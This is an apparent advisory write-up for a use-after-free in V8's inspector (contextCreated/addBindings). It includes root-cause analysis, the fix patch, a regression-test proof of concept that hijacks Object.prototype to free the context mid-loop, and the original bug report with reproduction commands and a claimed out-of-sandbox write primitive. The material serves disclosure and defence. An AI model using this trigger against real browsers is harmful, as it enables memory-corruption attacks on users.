CVE-2026-14426
Overview
Background
- `V8InspectorImpl::contextCreated`
- the inspector entry point that registers a newly created execution context and, per CDP semantics, re-adds persisted bindings to it across every inspector session.
- `InspectedContext`
- the heap object that wraps a JS execution context for the inspector; it is stored in the
contextByIdmap and can be torn down bycontextDestroyed. - `addBindings` / prototype hijack
- installing a CDP binding assigns a property on the global object, which can invoke a JS
setaccessor placed onObject.prototype, letting attacker JS run synchronously during binding installation. - `forEachSession`
- iterates over all
V8InspectorSessionImplobjects in a context group, invoking a callback per session.
Root Cause Analysis
In contextCreated, after inserting the new InspectedContext into contextById, the pre-patch code called forEachSession with a lambda capturing the raw context pointer and, for every session, called session->runtimeAgent()->addBindings(context) followed by session->runtimeAgent()->reportExecutionContextCreated(context). Installing a binding sets a property on the global object, so an attacker who has hijacked Object.prototype with a set accessor can synchronously call inspector.fireContextDestroyed() during addBindings, which runs contextDestroyed and frees the InspectedContext while it is still referenced. Control then returned to the loop, which continued using the freed context pointer for the remaining sessions and for reportExecutionContextCreated, a use-after-free.
The fix captures a std::shared_ptr<InspectedContext> contextRef = (*contextById)[contextId] to keep the object alive across the iteration and re-checks if (!getContext(contextGroupId, contextId)) return; both before addBindings(contextRef.get()) and before reportExecutionContextCreated(contextRef.get()), so once the context is destroyed the callback bails out instead of operating on it. The shared_ptr prevents the raw dereference from touching freed memory, and the two getContext guards prevent operating on a logically destroyed context both within a session and when the loop advances to other sessions.
InspectedContext across addBindings, a call that can re-enter attacker JS and synchronously destroy that very context; the fix keeps the object alive with a shared_ptr and re-validates its existence via getContext before each subsequent operation.Attack Path
- Attach inspector and register bindings
A client with an inspector session enables
Runtimeand callsRuntime.addBindingfor names such asxandy, so bindings will be re-added whenever a context is created. - Plant a prototype setter
Attacker JS does
delete globalThis.xandObject.defineProperty(Object.prototype, 'x', { set: function(v){ inspector.fireContextDestroyed(); } })so that writing the binding property invokes attacker code. - Trigger context creation
Attacker JS calls
inspector.fireContextCreated(), drivingcontextCreatedintoforEachSessionand thenaddBindings, whose property write hits the hijacked setter. - Free during binding
The setter calls
fireContextDestroyed, runningcontextDestroyedand freeing the just-registeredInspectedContextwhile the enclosing loop still holds the rawcontextpointer. - Use after free
Control returns to the loop, which continues to
reportExecutionContextCreated(context)and to the next session using the freed pointer, the UAF the patch closes. Any escalation beyond the freed-object access is (inferred).
Impact Assessment
InspectedContext mid-iteration and cause the inspector to dereference the freed object, a use-after-free in the process hosting V8/the inspector (renderer or embedder with an active inspector session). The precondition is an attached inspector session with a registered binding plus attacker-controlled JS that hijacks Object.prototype, as encoded in the shipped regression test regress-517981277.js. The advisory classifies this as UAF / “Use after free in V8”; it states no exploited-in-the-wild status, and exploitation beyond the freed-pointer access demonstrated by the patch is (inferred).Files Changed
src/inspector/v8-inspector-impl.cctest/inspector/runtime/regress-517981277-expected.txttest/inspector/runtime/regress-517981277.js
Audit Directions
- Re-entrant callbacks during binding/property installationAudit inspector code that writes properties on the global object (bindings, injected scripts) while holding raw pointers to
InspectedContextor agent state, since property writes can invoke attacker JS synchronously. - Raw pointers across `forEachSession` loopsReview callbacks passed to
forEachSession/similar iterators that capture raw context or session pointers and operate on them after a call that can re-enter script; prefershared_ptrplus a liveness re-check viagetContext. - Object lifetime vs. `contextById` mutationLook for other paths that read
(*contextById)[contextId]once and reuse it after calls that may runcontextDestroyed, and ensure they revalidate the map entry.
Patch
From 3c3aab471d2b291626328169e988e4846127e751 Mon Sep 17 00:00:00 2001 From: Yulun Zeng <[email protected]> Date: Thu, 04 Jun 2026 22:35:27 +0000 Subject: [PATCH] Handle context destruction when adding binding within V8InspectorImpl::contextCreated. CDP specifies that the bindings must persist across reloads, and thus in V8InspectorImpl::contextCreated(), bindings are added again when new contexts are created. The issue arises when context is destroyed when adding binding (as the regress test shows), but the context is still being processed down the code path. This change skips operations on the context if it has been destroyed during adding binding. There is the same check before addBindings() because operations on the context have to skipped too when it loops to other inspector sessions. Also, `contextRef` is a `std::shared_ptr` to keep it alive when looping through inspector sessions. This allows getting the context ID on the object for other addBinding() calls within addBindings(). Bug: 517981277 Change-Id: Ic1ee273c316040acc611f6c53349b734076f7f14 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7904365 Reviewed-by: Simon Zünd <[email protected]> Reviewed-by: Philip Pfaffe <[email protected]> Commit-Queue: Yulun Zeng <[email protected]> Cr-Commit-Position: refs/heads/main@{#107830} --- diff --git a/src/inspector/v8-inspector-impl.cc b/src/inspector/v8-inspector-impl.cc index d4ff6dc..ade7809 100644 --- a/src/inspector/v8-inspector-impl.cc +++ b/src/inspector/v8-inspector-impl.cc @@ -308,11 +308,15 @@ DCHECK(contextById->find(contextId) == contextById->cend()); (*contextById)[contextId].reset(context); - forEachSession( - info.contextGroupId, [&context](V8InspectorSessionImpl* session) { - session->runtimeAgent()->addBindings(context); - session->runtimeAgent()->reportExecutionContextCreated(context); - }); + int contextGroupId = info.contextGroupId; + std::shared_ptr<InspectedContext> contextRef = (*contextById)[contextId]; + forEachSession(contextGroupId, [this, contextGroupId, contextId, + contextRef](V8InspectorSessionImpl* session) { + if (!getContext(contextGroupId, contextId)) return; + session->runtimeAgent()->addBindings(contextRef.get()); + if (!getContext(contextGroupId, contextId)) return; + session->runtimeAgent()->reportExecutionContextCreated(contextRef.get()); + }); } void V8InspectorImpl::contextDestroyed(v8::Local<v8::Context> context) { diff --git a/test/inspector/runtime/regress-517981277-expected.txt b/test/inspector/runtime/regress-517981277-expected.txt new file mode 100644 index 0000000..d3928e7 --- /dev/null +++ b/test/inspector/runtime/regress-517981277-expected.txt @@ -0,0 +1,3 @@ +Test that destroying context during addBinding does not cause UAF (regress-517981277). +Triggering evaluate with prototype hijack and context creation... +Finished evaluate call. diff --git a/test/inspector/runtime/regress-517981277.js b/test/inspector/runtime/regress-517981277.js new file mode 100644 index 0000000..a384384 --- /dev/null +++ b/test/inspector/runtime/regress-517981277.js @@ -0,0 +1,38 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517981277).'); + +(async function test() { + const contextGroup = new InspectorTest.ContextGroup(); + const session = contextGroup.connect(); + + session.Protocol.Runtime.enable(); + + // Register binding 'x' + await session.Protocol.Runtime.addBinding({name: 'x'}); + + // Register second binding 'y' to test handling addBinding() again when the + // the previous addBinding() has already destroyed the context. + await session.Protocol.Runtime.addBinding({name: 'y'}); + + InspectorTest.log('Triggering evaluate with prototype hijack and context creation...'); + await session.Protocol.Runtime.evaluate({ + expression: ` + delete globalThis.x; + Object.defineProperty(Object.prototype, 'x', { + configurable: true, + set: function(v) { + // Synchronously destroy the just-registered InspectedContext. + inspector.fireContextDestroyed(); + } + }); + // === TRIGGER === + inspector.fireContextCreated(); + `, + }); + + InspectorTest.log('Finished evaluate call.'); + InspectorTest.completeTest(); +})();
Regression Test / PoC
diff --git a/test/inspector/runtime/regress-517981277-expected.txt b/test/inspector/runtime/regress-517981277-expected.txt
new file mode 100644
index 0000000..d3928e7
--- /dev/null
+++ b/test/inspector/runtime/regress-517981277-expected.txt
@@ -0,0 +1,3 @@
+Test that destroying context during addBinding does not cause UAF (regress-517981277).
+Triggering evaluate with prototype hijack and context creation...
+Finished evaluate call.
diff --git a/test/inspector/runtime/regress-517981277.js b/test/inspector/runtime/regress-517981277.js
new file mode 100644
index 0000000..a384384
--- /dev/null
+++ b/test/inspector/runtime/regress-517981277.js
@@ -0,0 +1,38 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517981277).');
+
+(async function test() {
+ const contextGroup = new InspectorTest.ContextGroup();
+ const session = contextGroup.connect();
+
+ session.Protocol.Runtime.enable();
+
+ // Register binding 'x'
+ await session.Protocol.Runtime.addBinding({name: 'x'});
+
+ // Register second binding 'y' to test handling addBinding() again when the
+ // the previous addBinding() has already destroyed the context.
+ await session.Protocol.Runtime.addBinding({name: 'y'});
+
+ InspectorTest.log('Triggering evaluate with prototype hijack and context creation...');
+ await session.Protocol.Runtime.evaluate({
+ expression: `
+ delete globalThis.x;
+ Object.defineProperty(Object.prototype, 'x', {
+ configurable: true,
+ set: function(v) {
+ // Synchronously destroy the just-registered InspectedContext.
+ inspector.fireContextDestroyed();
+ }
+ });
+ // === TRIGGER ===
+ inspector.fireContextCreated();
+ `,
+ });
+
+ InspectorTest.log('Finished evaluate call.');
+ InspectorTest.completeTest();
+})();
Original Bug Report
Use-After-Free in V8 Inspector InspectedContext yields Arbitrary Write Outside V8 Sandbox Cage
Steps to reproduce the problem
Environment
- V8 source: 15.0.0 (Chromium-tracked)
- Tested commit:
6ac60d22f45(HEAD as of 2026-05-30) - Platform: Linux x86_64
Required builds
Build A (ASan + sandbox + memory-corruption-api): out_asan/inspector-test
args.gn:
is_debug = false
dcheck_always_on = true
v8_enable_sandbox = true
v8_enable_memory_corruption_api = true
v8_enable_test_features = true
v8_enable_verify_heap = true
is_asan = true
target_cpu = "x64"
Build B (Non-ASan, sandbox + memory-corruption-api): out_sandbox/inspector-test
Same args.gn but is_asan = false.
Build commands:
gn gen out_asan
gn gen out_sandbox
autoninja -C out_asan inspector-test
autoninja -C out_sandbox inspector-test
Attached PoCs
poc-asan.js(ASan UAF reproduction)poc-sandbox-violation.js(sandbox bypass with WRITE classification)
Step 1: ASan UAF reproduction
Command (from V8 source root):
ASAN_OPTIONS='abort_on_error=0:halt_on_error=1:detect_leaks=0' \
./out_asan/inspector-test \
test/inspector/protocol-test.js \
poc-asan.js
Expected stderr (key sections):
==XXXXX==ERROR: AddressSanitizer: heap-use-after-free
on address 0xXXXX...
READ of size 8 at 0xXXXX thread T7 (Task Runner)
#0 in std::__Cr::__hash_table<int, ...>::__emplace_unique<...>
lambda at __hash_table:531:67
#1 in v8_inspector::InspectedContext::setReported
try_key_extraction.h:44:10
#2 in v8_inspector::V8RuntimeAgentImpl::reportExecutionContextCreated
src/inspector/v8-runtime-agent-impl.cc:1190:12
#3 in v8_inspector::V8InspectorImpl::forEachSession
#4 in v8_inspector::V8InspectorImpl::contextCreated
src/inspector/v8-inspector-impl.cc:308:3
...
0xXXXX is located 144 bytes inside of 232-byte region [0xXXXX, 0xXXXX)
freed by thread T7:
#0 operator delete(void*, unsigned long)
#1 V8InspectorImpl::contextCollected
...
previously allocated by thread T7:
#0 operator new(unsigned long)
#1 V8InspectorImpl::contextCreated
src/inspector/v8-inspector-impl.cc:288
...
Verification: ASan reports heap-use-after-free on a 232-byte region; the freed object is the InspectedContext allocated at v8-inspector-impl.cc:288; the read is at offset +144 reached from setReported → reportExecutionContextCreated.
Step 2: WRITE-classification sandbox violation
Command:
UBSAN_OPTIONS='print_stacktrace=0:halt_on_error=0:abort_on_error=0:handle_segv=0:handle_sigbus=0:handle_sigill=0' \
setarch -R \
./out_sandbox/inspector-test \
--sandbox-testing \
test/inspector/protocol-test.js \
poc-sandbox-violation.js
Flag notes:
setarch -Rdisables ASLR so the target binary loads at the fixed PIE base0x555555554000+. A small r–p mapping at file offset0x07f03000(memory0x55555d45a000-0x55555d45b000) whose first 16 bytes are zero is used as the WRITE target.--sandbox-testingenables the V8 sandbox crash filter (src/sandbox/testing.cc).UBSAN_OPTIONS handle_segv=0prevents UBSan’s signal handler from preempting the sandbox crash filter so the filter can classify the access type.
Expected stderr:
Sandbox testing mode is enabled. Only sandbox violations will be
reported, all other crashes will be ignored.
Sandbox bounds: [0xXXXXXXXXXXXX, 0xXXXXXXXXXXXX)
...
## V8 sandbox violation detected!
(Process exits with signal 11 / SIGSEGV)
Verification: The crash filter prints ## V8 sandbox violation detected! with NO “read access” caveat following. Per src/sandbox/testing.cc:1209-1213, that caveat is added only for read access; its absence confirms WRITE access classification via the SIGSEGV error code’s kWriteAccessBit checked at testing.cc:898-907 GetAccessType. This satisfies docs/security/triaging.md’s requirement: “A successful bypass must show write access outside of the sandbox.”
Step 3: Determinism check
Command (bash):
for i in 1 2 3 4 5; do
echo "--- Attempt $i ---"
UBSAN_OPTIONS='print_stacktrace=0:halt_on_error=0:abort_on_error=0:handle_segv=0:handle_sigbus=0:handle_sigill=0' \
timeout 15 setarch -R \
./out_sandbox/inspector-test --sandbox-testing \
test/inspector/protocol-test.js \
poc-sandbox-violation.js 2>&1 \
| grep -A2 "V8 sandbox" | head -5
done
Problem Description
Summary
Use-after-free on InspectedContext (sizeof=232) allocated on the libc C++ heap OUTSIDE the V8 sandbox cage. The freed object is dereferenced inside the contextCreated lambda’s call to reportExecutionContextCreated. The attached PoCs demonstrate the bug and show that successful exploitation yields an Arbitrary Address Write (AAW) primitive outside the V8 sandbox cage.
Affected code
src/inspector/v8-inspector-impl.cc:308-312(contextCreated lambda)src/inspector/v8-runtime-agent-impl.cc:1187-1207(reportExecutionContextCreated)src/inspector/inspected-context.cc:128-134(setReported)
Attacker model
web-content. Reachable from:
- Any user-attached DevTools session sending
Runtime.addBinding+Runtime.evaluate. - Any Chrome extension with the
debuggerpermission viachrome.debugger.attach()+Runtime.addBinding({name:"x"})+Runtime.evaluate().
No pre-existing memory primitive is assumed.
Fix-sibling
Commit 5a7de4a07b0128358a40117a51c5bfacf7f76c99 (“Fix Use-After-Free in Runtime.addBinding()”) added an internal re-validation inside addBinding after global->Set(), but did NOT protect the immediate-next call site reportExecutionContextCreated inside the contextCreated lambda. This is the classic fix-sibling pattern: the leaf function is patched but the caller scope still ferries the dangling pointer.
Root cause
v8-inspector-impl.cc:308-312:
forEachSession(info.contextGroupId,
[&context](V8InspectorSessionImpl* s) {
s->runtimeAgent()->addBindings(context);
s->runtimeAgent()->reportExecutionContextCreated(context);
});
The lambda captures raw InspectedContext* context and uses it twice:
addBindings(ctx)ultimately callsaddBinding(ctx, name)which performsglobal->Set(localContext, v8Name, fn)at line 996. This is JS-reentrant: a setter installed onObject.prototype[name]fires here.reportExecutionContextCreated(ctx)immediately after.
Inside the Set() trap, attacker JS calls inspector.fireContextDestroyed() (mimics the production frame-detach path). This drives:
V8Inspector::contextDestroyed
-> V8InspectorImpl::contextCollected
-> discardInspectedContext
which erases the only shared_ptr<InspectedContext> from m_contexts. The local shared_ptr in contextCollected goes out of scope at function exit; ~InspectedContext runs inline, freeing the 232-byte slot via operator delete (libc malloc allocator — this is OUTSIDE the V8 sandbox cage).
Control returns to addBindings. The 5a7de4a07b0 inner-fix check at line 1001 returns early. addBindings’s loop exits cleanly. Then the OUTER LAMBDA continues to reportExecutionContextCreated(freed_ctx) — UAF.
Impact
The attached PoCs achieve the following:
-
ASan-confirmed
heap-use-after-freeread on the freedInspectedContext(seepoc-asan.log). -
Under
--sandbox-testing, the V8 sandbox crash filter reports## V8 sandbox violation detected!classified as WRITE access (no “read access” caveat). This empirically demonstrates an Arbitrary Address Write (AAW) primitive: attacker-controlled bytes sprayed into the freed slot dictate the target address of a WRITE instruction executed at a canonical address outside the V8 sandbox cage. Seepoc-sandbox-violation.log.
Evidence
Two attached PoCs:
(1) poc-asan.js + poc-asan.log — reproduces the UAF under AddressSanitizer.
Signature: heap-use-after-free READ of size 8 at +144 bytes of freed InspectedContext inside libc++ __hash_table, called from InspectedContext::setReported reached via V8RuntimeAgentImpl::reportExecutionContextCreated at v8-runtime-agent-impl.cc:1190. The free site is V8InspectorImpl::contextCollected; the allocation site is V8InspectorImpl::contextCreated at v8-inspector-impl.cc:288.
(2) poc-sandbox-violation.js + poc-sandbox-violation.log — demonstrates the AAW primitive under --sandbox-testing.
Output: ## V8 sandbox violation detected! with NO “read access” caveat. The absence of that caveat (added at src/sandbox/testing.cc:1209-1213 only for read access) confirms WRITE access classification via the SIGSEGV error code’s kWriteAccessBit (testing.cc:898-907 GetAccessType).
ASLR / production notes
The sandbox-violation PoC uses setarch -R to fix the target address at a known mapped read-only location so the WRITE classification is deterministically observable. The AAW primitive itself (attacker-controlled write target via heap spray) is independent of ASLR; production attacks would defeat ASLR through standard exploitation techniques.
Summary
Use-After-Free in V8 Inspector InspectedContext yields Arbitrary Write Outside V8 Sandbox Cage
Custom Questions
Type of crash:
tab
Reporter credit:
ywatanabee
Additional Data
Category: Security
Chrome Channel: Not sure
Regression: N/A \